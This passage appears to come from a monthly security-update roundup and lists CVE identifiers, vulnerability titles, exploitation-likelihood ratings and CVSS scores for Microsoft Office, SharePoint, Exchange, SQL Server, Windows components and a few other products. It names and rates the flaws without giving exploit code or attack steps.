CVE-2026-55899 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55948 Microsoft Excel Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-58618 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-47642 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55024 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55025 Microsoft Excel Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-55031 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55048 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55029 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55039 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55041 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55136 Microsoft Excel Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-55141 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55036 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55044 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55037 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55058 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55137 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55053 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55131 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-54131 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55947 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55949 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56156 Microsoft Excel Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56193 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 7.1
CVE-2026-55023 Microsoft Office Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-55026 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 6.2
CVE-2026-55027 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55028 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55047 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55035 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55057 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55042 Microsoft Office Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-55139 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50665 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56192 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-56195 Microsoft Office Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55121 Microsoft Office Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-47290 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50301 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50314 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50467 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55017 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55018 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55022 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55125 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55045 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 8.4
CVE-2026-55049 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55129 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55056 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55140 Microsoft Office Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55133 Microsoft OneNote Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55043 Microsoft PowerPoint Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55123 Microsoft PowerPoint Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55120 Microsoft PowerPoint Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55052 Microsoft SharePoint Elevation of Privilege Vulnerability Exploitation Unlikely No 8.8
CVE-2026-58277 Microsoft SharePoint Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50522 Microsoft SharePoint Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-58644 Microsoft SharePoint Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-56164 Microsoft SharePoint Server Elevation of Privilege Vulnerability Exploitation Detected No 5.3
CVE-2026-55051 Microsoft SharePoint Server Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-55040 Microsoft SharePoint Server Security Feature Bypass Vulnerability Exploitation More Likely No 9.1
CVE-2026-54108 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Less Likely No 6.5
CVE-2026-55016 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Less Likely No 4.6
CVE-2026-55019 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Unlikely No 4.6
CVE-2026-55020 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Unlikely No 4.6
CVE-2026-55021 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Unlikely No 7.3
CVE-2026-55030 Microsoft SharePoint Server Spoofing Vulnerability N/A No 4.6
CVE-2026-55034 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Less Likely No 7.3
CVE-2026-55126 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Less Likely No 7.3
CVE-2026-55135 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Less Likely No 4.6
CVE-2026-56157 Microsoft SharePoint Server Spoofing Vulnerability Exploitation Less Likely No 5.4
CVE-2026-55050 Microsoft Word Information Disclosure Vulnerability N/A No 5.5
CVE-2026-55124 Microsoft Word Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55142 Microsoft Word Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-55032 Microsoft Word Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55033 Microsoft Word Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55127 Microsoft Word Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55055 Microsoft Word Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55038 Microsoft Word Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-55132 Microsoft Word Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55134 Microsoft Word Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-55128 Microsoft Word Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-55130 Microsoft Word Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50387 Windows GDI Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
Open Source Software vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-40553 Stack-based buffer overflow in gawk n/a No 
CVE-2026-40469 Heap buffer overflow in gawk n/a No 
CVE-2026-40468 Heap buffer overflow in gawk n/a No 
CVE-2026-40467 Use after free in gawk n/a No 
CVE-2026-57968 Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-57973 Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability Exploitation Less Likely No 6.3
Other vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-50663 Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50510 GitHub Copilot Remote Code Execution Vulnerability N/A No 7.8
CVE-2026-55010 Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-55145 Outlook Copilot Tampering Vulnerability N/A No 6.3
Server Software vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-55006 Microsoft Exchange Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55009 Microsoft Exchange Server Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-55005 Microsoft Exchange Server Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-55008 Microsoft Exchange Server Spoofing Vulnerability Exploitation More Likely No 9.6
SQL Server vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-56642 Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability Exploitation Unlikely No 8.8
CVE-2026-58647 Microsoft PowerBI Report Server Spoofing Vulnerability Exploitation Unlikely No 8.0
CVE-2026-47296 Microsoft SQL Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55002 Microsoft SQL Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-47295 Microsoft SQL Server Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50468 Microsoft SQL Server Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-54116 Microsoft SQL Server Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-54117 Microsoft SQL Server Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-54118 Microsoft SQL Server Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
System Center vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-50658 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-56178 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50657 Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability Exploitation Less Likely No 4.7
CVE-2026-55011 Microsoft Defender Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55012 Microsoft Defender Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
Windows vulnerabilities
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-54121 Active Directory Certificate Services Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50682 Active Directory Denial of Service Vulnerability Exploitation Unlikely No 7.1
CVE-2026-55001 Active Directory Domain Services Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50647 Active Directory Federation Server Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50684 Active Directory Federation Server Spoofing Vulnerability N/A No 4.8
CVE-2026-56155 Active Directory Federation Services Elevation of Privilege Vulnerability Exploitation Detected No 7.8
CVE-2026-50488 Clipboard User Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50491 Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50381 Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50427 Content Delivery Manager Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50692 Desktop Window Manager Elevation of Privilege Vulnerability N/A No 8.8
CVE-2026-58633 Desktop Window Manager Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-58634 Desktop Window Manager Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-48564 DHCP Server Service Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50370 DHCP Server Service Remote Code Execution Vulnerability Exploitation More Likely No 8.8
CVE-2026-56159 DHCP Server Service Remote Code Execution Vulnerability Exploitation Unlikely No 9.8
CVE-2026-50296 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50375 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 6.3
CVE-2026-50353 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50493 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56643 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56644 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58629 DirectX Graphics Kernel Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50382 DirectX Graphics Kernel Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-49174 DNS Client Tampering Vulnerability Exploitation Unlikely No 6.1
CVE-2026-50495 DNS Client Tampering Vulnerability Exploitation Less Likely No 6.1
CVE-2026-57088 Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49787 HTTP.sys Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50420 HTTP.sys Information Disclosure Vulnerability Exploitation Less Likely No 6.2
CVE-2026-49788 HTTP/2 Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50696 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-49162 Microsoft Brokering File System Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50305 Microsoft Brokering File System Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50361 Microsoft Brokering File System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50466 Microsoft Brokering File System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50458 Microsoft Brokering File System Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50329 Microsoft DWM Core Library Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-58541 Microsoft DWM Core Library Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50343 Microsoft Install Service Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-54992 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Exploitation More Likely No 8.4
CVE-2026-50439 Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability Exploitation Less Likely No 8.1
CVE-2026-58537 Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-42900 Microsoft Windows App Store Elevation of Privilege Vulnerability Exploitation Unlikely No 8.1
CVE-2026-49784 Microsoft Windows App Store Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50356 Microsoft Windows App Store Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-49165 Microsoft Windows App Store Information Disclosure Vulnerability Exploitation Less Likely No 7.1
CVE-2026-54993 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58610 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50655 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation More Likely No 7.8
CVE-2026-56189 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-57090 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-57094 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-57087 Microsoft Windows Media Foundation Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-57092 Microsoft Windows VMSwitch Elevation of Privilege Vulnerability Exploitation Less Likely No 9.9
CVE-2026-50359 Microsoft XML Core Services Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-57097 Microsoft XML Security Feature Bypass Vulnerability Exploitation Less Likely No 6.4
CVE-2026-50346 Netlogon RPC Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50402 NTFS Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-54989 Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50365 Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability Exploitation Less Likely No 8.0
CVE-2026-54990 Remote Desktop Client Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-50474 Remote Desktop Client Remote Code Execution Vulnerability Exploitation Unlikely No 8.8
CVE-2026-58594 Remote Desktop Client Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56190 Remote Desktop Protocol Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-49783 Secure Boot Security Feature Bypass Vulnerability Exploitation Less Likely No 7.8
CVE-2026-42990 SQL Server ODBC driver Elevation of Privilege Vulnerability Exploitation Unlikely No 9.8
CVE-2026-49168 Storage Spaces Direct Elevation of Privilege Vulnerability Exploitation Less Likely No 6.8
CVE-2026-49180 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50455 Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-54111 Universal Print Management Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-58543 Universal Print Management Service Elevation of Privilege Vulnerability Exploitation Less Likely No 6.3
CVE-2026-58601 Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability Exploitation Less Likely No 7.8
CVE-2026-49805 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50297 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50325 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50489 Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 8.8
CVE-2026-57095 Win32k Elevation of Privilege Vulnerability Exploitation Unlikely No 6.2
CVE-2026-50416 Win32k Information Disclosure Vulnerability Exploitation Less Likely No 3.3
CVE-2026-56184 Win32k Information Disclosure Vulnerability Exploitation Less Likely No 5.5

CVE-2026-50432 Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability Exploitation Less Likely No 5.3
CVE-2026-54119 Windows Active Directory Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-57976 Windows Active Directory Domain Services Denial of Service Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50366 Windows Active Directory Domain Services Denial of Service Vulnerability Exploitation Unlikely No 6.5
CVE-2026-49164 Windows Active Directory Domain Services Remote Code Execution Vulnerability Exploitation Unlikely No 8.1
CVE-2026-49178 Windows Active Directory Domain Services Remote Code Execution Vulnerability Exploitation Unlikely No 8.8
CVE-2026-58529 Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability Exploitation Less Likely No 7.1
CVE-2026-54983 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50695 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50304 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50368 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50324 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Less Likely No 5.9
CVE-2026-50355 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50411 Windows Active Directory Federation Services Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-58631 Windows Admin Center (WAC) Remote Code Execution Vulnerability Exploitation More Likely No 7.8
CVE-2026-56196 Windows Admin Center (WAC) Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56197 Windows Admin Center (WAC) Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56169 Windows Admin Center Elevation of Privilege Vulnerability Exploitation Less Likely No 8.1
CVE-2026-57107 Windows Admin Center Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56185 Windows Admin Center Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50312 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Exploitation Less Likely No 4.7
CVE-2026-50462 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-57093 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-34346 Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-48572 Windows App Package Installer Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-48571 Windows App Package Installer Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50400 Windows App Package Installer Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50331 Windows Application Model Core API Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49803 Windows AppX Deployment Extensions Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50351 Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50440 Windows Audio Service Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-34328 Windows Audio Service Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50406 Windows Backup Engine Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50364 Windows Backup Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50661 Windows BitLocker Security Feature Bypass Vulnerability Exploitation Less Likely Yes 6.1
CVE-2026-42975 Windows Bluetooth Port Driver Remote Code Execution Exploitation Less Likely No 8.0
CVE-2026-58538 Windows Bluetooth Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58638 Windows Boot Loader Security Feature Bypass Vulnerability Exploitation More Likely No 6.0
CVE-2026-58637 Windows Client-Side Caching Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50384 Windows Clip Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-49183 Windows Clipboard Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50689 Windows Clipboard Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50374 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 6.3
CVE-2026-58536 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-58613 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50401 Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50697 Windows Common Log File System Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50667 Windows Common Log File System Driver Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50421 Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50428 Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability Exploitation Less Likely No 7.1
CVE-2026-50352 Windows Cryptographic Services Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50302 Windows Cryptographic Services Security Feature Bypass Vulnerability Exploitation Unlikely No 4.2
CVE-2026-55144 Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability Exploitation Unlikely No 7.1
CVE-2026-50347 Windows Data.dll Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49181 Windows DHCP Client Elevation of Privilege Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50683 Windows DHCP Client Elevation of Privilege Vulnerability Exploitation Unlikely No 8.0
CVE-2026-54128 Windows DHCP Client Remote Code Execution Vulnerability Exploitation More Likely No 8.4
CVE-2026-58627 Windows DHCP Server Denial of Service Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50518 Windows DHCP Server Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-50685 Windows DHCP Server Remote Code Execution Vulnerability Exploitation Unlikely No 7.5
CVE-2026-49807 Windows DirectX Information Disclosure Vulnerability Exploitation Less Likely No 6.2
CVE-2026-49175 Windows DNS Client Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50487 Windows DNS Client Elevation of Privilege Vulnerability Exploitation Less Likely No 8.1
CVE-2026-50465 Windows DNS Client Tampering Vulnerability Exploitation Less Likely No 7.1
CVE-2026-49169 Windows DNS Server Remote Code Execution Vulnerability Exploitation Less Likely No 8.0
CVE-2026-50426 Windows DNS Server Remote Code Execution Vulnerability Exploitation Unlikely No 6.8
CVE-2026-50424 Windows Domain Controller Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50300 Windows DWM Core Library Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50437 Windows DWM Core Library Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-34348 Windows Event Logging Service Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50502 Windows Event Logging Service Remote Code Execution Vulnerability Exploitation Less Likely No 8.0
CVE-2026-33842 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-40422 Windows File Explorer Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-41087 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50473 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50442 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50389 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50456 Windows File Explorer Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-57084 Windows File Explorer Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-57091 Windows File History Service Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50405 Windows Filtering Platform Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49172 Windows FTP Service Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-50387 Windows GDI Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-54122 Windows GDI+ Remote Code Execution Vulnerability Exploitation Less Likely No 8.4
CVE-2026-49796 Windows GDI+ Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50380 Windows GDI+ Remote Code Execution Vulnerability Exploitation Less Likely No 9.6
CVE-2026-50483 Windows Graphics Component Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-58609 Windows Graphics Component Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50391 Windows Group Policy Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50310 Windows Human Interface Device Information Disclosure Vulnerability Exploitation Less Likely No 4.7
CVE-2026-50485 Windows Hyper-V Denial of Service Vulnerability Exploitation Less Likely No 4.5
CVE-2026-54129 Windows Hyper-V Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-54127 Windows Hyper-V Elevation of Privilege Vulnerability Exploitation Less Likely No 7.4
CVE-2026-50680 Windows Hyper-V Elevation of Privilege Vulnerability Exploitation Less Likely No 8.2
CVE-2026-50315 Windows Image Acquisition Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-58534 Windows Input Method Editor (IME) Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50490 Windows Installer Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-58540 Windows Installer Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50425 Windows Internal System User Profile Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50293 Windows Internal Task Bar Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49167 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 4.7
CVE-2026-49173 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-54132 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 6.8
CVE-2026-49795 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 8.8
CVE-2026-49798 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 9.3
